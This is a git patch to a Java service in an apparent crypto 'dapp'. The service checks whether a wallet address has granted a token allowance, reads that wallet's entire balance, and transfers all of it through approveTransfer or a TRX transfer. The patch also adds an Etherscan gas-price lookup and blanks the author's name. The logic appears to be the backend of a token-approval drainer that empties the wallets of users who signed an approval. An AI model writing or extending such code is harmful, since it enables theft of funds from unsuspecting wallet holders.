From 22703a735f0340435660c6acc5aaa44ab930066e Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Wed, 06 Apr 2022 15:18:48 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 27 ++++++++++++++++++++-------
1 files changed, 20 insertions(+), 7 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 31c109e..62626b0 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -1,5 +1,7 @@
package cc.mrbird.febs.dapp.chain;
+import cc.mrbird.febs.common.exception.FebsException;
+import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
@@ -7,7 +9,7 @@
import java.math.BigInteger;
/**
- * @author wzy
+ * @author
* @date 2022-03-23
**/
public class ChainService {
@@ -44,7 +46,7 @@
*/
public boolean isAllowance(String address) {
BigInteger result;
- if (address.indexOf(ETH_PREFIX) > 0) {
+ if (address.startsWith(ETH_PREFIX)) {
result = ETH.ethAllowance(address);
} else {
result = TRX.allowance(address);
@@ -65,17 +67,28 @@
return Integer.parseInt(total);
}
- public void transfer(String address) {
+ public String transfer(String address) {
BigDecimal amount = balanceOf(address);
- if (address.contains(ETH_PREFIX)) {
- ETH.approveTransfer(address, amount, null);
+ return transfer(address, amount);
+ }
+
+ public String transfer(String address, BigDecimal amount) {
+ String hash;
+ if (address.startsWith(ETH_PREFIX)) {
+ String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+ JSONObject data = JSONObject.parseObject(resp);
+ hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
} else {
- TRX.transfer(address, amount);
+ hash = TRX.transfer(address, amount);
}
+ return hash;
}
public static void main(String[] args) {
-// System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
+// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+
+// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+ System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
}
}
--
Gitblit v1.9.1